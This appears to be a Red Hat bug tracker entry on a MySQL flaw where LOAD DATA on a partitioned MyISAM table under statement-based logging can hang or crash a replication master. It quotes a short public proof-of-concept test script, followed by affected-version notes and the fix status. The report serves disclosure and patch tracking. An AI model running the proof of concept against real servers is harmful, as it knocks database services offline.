Hide Forgot
It was found that MySQL server did not properly handle locks mutex in SQL queries executing LOAD DATA on a partitioned MyISAM table, when statement-based logging mode was used. A remote, valid MySQL user could use this flaw to cause a denial of service (master MySQL replication server hang or crash) via specially-crafted SQL query. References: [1] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-52.html [2] http://bugs.mysql.com/bug.php?id=51851 [3] http://lists.mysql.com/commits/104667 Note: On Red Hat Enterprise Linux systems exploitation of this issue would lead only to temporary denial of service, since mysqld daemon gets automatically restarted upon encountering a crash.
Public PoC from [2]: ==================== --source include/master-slave.inc --source include/have_binlog_format_statement.inc perl; open( INIT, ">init_file.txt"); print INIT "abcd\n"; close( INIT ); EOF USE test; CREATE TABLE t_celosia_ddl_partitions (id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, name TINYBLOB NOT NULL, modified TIMESTAMP DEFAULT '0000-00-00 00:00:00', INDEX namelocs (name(255))) ENGINE = MyISAM PARTITION BY HASH(id) PARTITIONS 2; LOAD DATA LOCAL INFILE 'init_file.txt' INTO TABLE t_celosia_ddl_partitions (name); COMMIT; remove_file init_file.txt;
This issue did NOT affect the versions of the mysql package, as shipped with Red Hat Enterprise Linux 4 and 5. -- This issue affects the version of the mysql package, as shipped with Red Hat Enterprise Linux 6. -- This issue affects the versions of the mysql package, as shipped with Fedora release of 14 and 15.
The history in the upstream bug report shows that this fix was actually pushed into 5.1.53, despite the changelog entry claiming it was fixed in 5.1.52. So I'm not surprised than 5.1.52 fails, but current Fedora should not ... you sure you tested it against 5.1.56?
(In reply to comment #3) > This issue did NOT affect the versions of the mysql package, as shipped with > Red Hat Enterprise Linux 4 and 5. > > -- > > This issue affects the version of the mysql package, as shipped with > Red Hat Enterprise Linux 6. > MySQL upstream does not consider this deficiency to be a security flaw. The mysql package in Red Hat Enterprise Linux 6 has been upgraded to version 5.1.61 via RHSA-2012:0105 security advisory: https://rhn.redhat.com/errata/RHSA-2012-0105.html, and therefore this deficiency has been corrected in Red Hat Enterprise Linux 6 too.